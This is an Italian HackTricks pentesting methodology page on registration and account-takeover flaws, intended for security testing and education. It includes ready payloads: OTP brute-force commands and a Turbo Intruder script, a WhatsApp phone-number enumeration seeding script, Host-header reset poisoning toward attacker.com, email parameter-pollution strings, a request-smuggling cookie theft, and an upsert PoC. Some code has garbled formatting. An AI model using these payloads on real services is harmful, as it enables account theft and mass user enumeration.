Vulnerabilità di Registrazione e Takeover

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Registration Takeover

Registrazione duplicata

  • Prova a generare usando uno username già esistente
  • Controlla variando l’email:
  • uppsercase
  • +1@
  • aggiungi qualche punto nell’email
  • caratteri speciali nel nome dell’email (%00, %09, %20)
  • Metti caratteri vuoti dopo l’email: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com
  • Prova trick di canonicalizzazione del provider email (dipende dal servizio):
  • Gmail ignora i punti e lo subaddressing: victim+1@gmail.com, v.ic.tim@gmail.com vengono recapitati a victim@gmail.com
  • Alcuni provider sono case-insensitive nella local-part
  • Alcuni provider accettano unicode confusables. Prova omoglifi e soft hyphen \u00AD nella local-part
  • Abusa di questi per: bypassare i controlli di unicità, ottenere account duplicati/inviti workspace, o bloccare le registrazioni della vittima (DoS temporaneo) mentre prepari un takeover

Username Enumeration

Verifica se puoi capire quando uno username è già stato registrato all’interno dell’applicazione.

  • Messaggi di errore o HTTP status code differenti
  • Differenze di timing (l’utente esistente può innescare lookup verso IdP/DB)
  • Autofill del form di registrazione con i dati del profilo per email conosciute
  • Controlla i flow team/invite: inserire un’email può rivelare se un account esiste

Password Policy

Durante la creazione di un utente verifica la politica delle password (controlla se puoi usare password deboli).
In tal caso puoi tentare un bruteforce delle credenziali.

SQL Injection

Check this page per imparare come tentare takeover di account o estrarre informazioni tramite SQL Injections nei form di registrazione.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Change Email

Una volta registrato prova a cambiare l’email e verifica se questa modifica è correttamente validata o se è possibile impostarla su email arbitrarie.

Altri controlli

  • Verifica se puoi usare disposable emails (mailinator, yopmail, 1secmail, etc.) o bypassare la blocklist con subaddressing come victim+mailinator@gmail.com
  • Long password (>200) porta a DoS
  • Controlla i rate limits sulla creazione degli account
  • Usa username@burp_collab.net e analizza il callback
  • Se è usata la verifica del numero di telefono, verifica edge case di parsing/injection dei numeri

Phone Number Injections

Captcha Bypass

Contact-discovery / identifier-enumeration oracles

I messenger centrati sul numero di telefono espongono un presence oracle ogni volta che il client sincronizza i contatti. Replayando le richieste di discovery di WhatsApp storicamente si ottenevano >100M lookups per hour, permettendo enumerazioni quasi complete degli account.

Attack workflow

  1. Instrument an official client per catturare la richiesta di upload della rubrica (blob autenticato di numeri normalizzati E.164). Replayala con numeri generati dall’attaccante riutilizzando gli stessi cookies/device token.
  2. Batch numbers per request: WhatsApp accetta migliaia di identificatori e restituisce registered/unregistered più metadata (business, companion, etc.). Analizza le risposte offline per costruire liste di target senza messaggiare le vittime.
  3. Scale orizzontalmente l’enumerazione con SIM banks, cloud devices, o residential proxies in modo che il throttling per-account/IP/ASN non venga mai innescato.

Modellazione del piano di numerazione

Modella il piano di numerazione di ogni paese per saltare candidati invalidi. L’NDSS dataset (country-table.*) elenca i country code, adoption density e platform split così puoi dare priorità alle range con alto hit-rate. Esempio di codice di seeding:

import pandas as pd
from itertools import product

df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91"  # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)

Dare priorità ai prefissi che corrispondono ad allocazioni reali (Mobile Country Code + National Destination Code) prima di interrogare l’oracle per mantenere utile il throughput.

Trasformare le enumerazioni in attacchi mirati

  • Alimentare numeri di telefono leaked (e.g., Facebook’s 2021 breach) nell’oracle per scoprire quali identità sono ancora attive prima di phishing, SIM-swapping, o spamming.
  • Suddividere i censimenti per country/OS/tipo di app per trovare regioni con filtri SMS deboli o forte adozione di WhatsApp Business per social engineering localizzato.

Correlazione del riutilizzo delle chiavi pubbliche

WhatsApp espone la X25519 identity key di ogni account durante il session setup. Richiedi materiale d’identità per ogni numero enumerato e deduplica le chiavi pubbliche per rivelare account farms, client clonati o firmware insicuro—le chiavi condivise deanonymize operazioni multi-SIM.

I flussi di registrazione spesso verificano la proprietà tramite un OTP numerico o un token magic-link. Difetti tipici:

  • OTP prevedibile o corto (4–6 cifre) senza rate limiting efficace o IP/device tracking. Provare guess paralleli e rotazione di header/IP.
  • Riutilizzo dell’OTP tra azioni o account, o non vincolato all’utente/azione specifica (e.g., lo stesso codice funziona per login e signup, o funziona dopo il cambio email).
  • Multi-value smuggling: alcuni backend accettano più codici e verificano se uno corrisponde. Provare:
  • code=000000&code=123456
  • JSON arrays: {"code":["000000","123456"]}
  • Mixed parameter names: otp=000000&one_time_code=123456
  • Comma/pipe separated values: code=000000,123456 or code=000000|123456
  • Response oracle: distinguere wrong vs expired vs wrong-user codes tramite status/message/body length.
  • Token non invalidati dopo il successo o dopo il cambio password/email.
  • Verification token non legato a user agent/IP permettendo completion cross-origin da attacker-controlled pages.

Esempio di Bruteforcing con ffuf contro un JSON OTP endpoint:

ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all

Tentativi paralleli/concorrenti per aggirare i blocchi sequenziali (usa Turbo Intruder in Burp):

Snippet di Turbo Intruder per inondare tentativi di OTP a 6 cifre ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)

def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Try racing verification: submit the same valid OTP simultaneously in two sessions; sometimes one session becomes a verified attacker account while the victim flow also succeeds.
- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host.

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (before the victim signs up)

A powerful class of issues occurs when an attacker performs actions on the victim’s email before the victim creates their account, then regains access later.

Key techniques to test (adapt to the target’s flows):

- Classic–Federated Merge
- Attacker: registers a classic account with victim email and sets a password
- Victim: later signs up with SSO (same email)
- Insecure merges may leave both parties logged in or resurrect the attacker’s access
- Unexpired Session Identifier
- Attacker: creates account and holds a long‑lived session (don’t log out)
- Victim: recovers/sets password and uses the account
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Attacker: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP)
- Victim: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
- Attacker: initiates email‑change to attacker mail and withholds confirmation
- Victim: recovers the account and starts using it
- Attacker: later completes the pending email‑change to steal the account
- Non‑Verifying IdP
- Attacker: uses an IdP that does not verify email ownership to assert `victim@…`
- Victim: signs up via classic route
- Service merges on email without checking `email_verified` or performing local verification

Practical tips

- Harvest flows and endpoints from web/mobile bundles. Look for classic signup, SSO linking, email/phone change, and password reset endpoints.
- Create realistic automation to keep sessions alive while you exercise other flows.
- For SSO tests, stand up a test OIDC provider and issue tokens with `email` claims for the victim address and `email_verified=false` to check if the RP trusts unverified IdPs.
- After any password reset or email change, verify that:
- all other sessions and tokens are invalidated,
- pending email/phone change capabilities are cancelled,
- previously linked IdPs/emails/phones are re‑verified.

Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Request password reset to your email address
2. Click on the password reset link
3. Don’t change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. L’attaccante deve effettuare il login con il proprio account e andare alla funzionalità Change password.
  2. Avvia Burp Suite e intercetta la richiesta
  3. Invia la richiesta al tab repeater e modifica i parametri : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

Il password reset token dovrebbe essere generato in modo casuale e unico ogni volta.
Prova a determinare se il token scade o se è sempre lo stesso; in alcuni casi l’algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere usate dall’algoritmo.

  • Timestamp
  • UserID
  • Email dell’utente
  • Nome e Cognome
  • Data di nascita
  • Crittografia
  • Solo numeri
  • Sequenza di token corta ( caratteri tra [A-Z,a-z,0-9])
  • Riutilizzo del token
  • Data di scadenza del token

Leaking Password Reset Token

  1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
  2. Ispeziona la risposta del server e verifica la presenza di resetToken
  3. Poi usa il token in un URL come https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. Registrati sul sistema con uno username identico a quello della vittima, ma con spazi inseriti prima e/o dopo lo username. e.g: "admin "
  2. Richiedi un password reset con il tuo username maligno.
  3. Usa il token inviato alla tua email e resetta la password della vittima.
  4. Accedi all’account della vittima con la nuova password.

La piattaforma CTFd era vulnerabile a questo attacco.
See: CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. Trova una XSS dentro l’applicazione o in un sottodominio se i cookie sono scoped al dominio padre : *.domain.com
  2. Leak il cookie di sessione corrente sessions cookie
  3. Autenticati come l’utente usando il cookie

Account Takeover Via HTTP Request Smuggling

  1. Usa smuggler per rilevare il tipo di HTTP Request Smuggling (CL, TE, CL.TE)
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. Crea una richiesta che sovrascriva il POST / HTTP/1.1 con i seguenti dati:
    GET http://something.burpcollaborator.net HTTP/1.1 X: con l’obiettivo di aprire un redirect delle vittime verso burpcollab e rubare i loro cookie\
  3. La richiesta finale potrebbe apparire come la seguente
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone segnala lo sfruttamento di questo bug\

Account Takeover via CSRF

  1. Crea un payload per il CSRF, e.g: “HTML form with auto submit for a password change”
  2. Invia il payload

Account Takeover via JWT

JSON Web Token might be used to authenticate an user.

  • Modifica il JWT con un altro User ID / Email
  • Verifica la presenza di una firma JWT debole

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Alcuni signup handler eseguono un upsert quando l’email fornita esiste già. Se l’endpoint accetta un body minimale con un’email e una password e non impone la verifica di proprietà, inviare l’email della vittima sovrascriverà la sua password pre-auth.

  • Discovery: raccogli i nomi degli endpoint dal JS incluso (o dal traffico dell’app mobile), poi fuzz i base paths come /parents/application/v4/admin/FUZZ usando ffuf/dirsearch.
  • Suggerimenti sul metodo: una GET che restituisce messaggi come “Only POST request is allowed.” spesso indica il verbo corretto e che viene atteso un body JSON.
  • Body minimo osservato in the wild:
{"email":"victim@example.com","password":"New@12345"}

Esempio PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Impatto: Full Account Takeover (ATO) senza alcun reset token, OTP o verifica via email.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks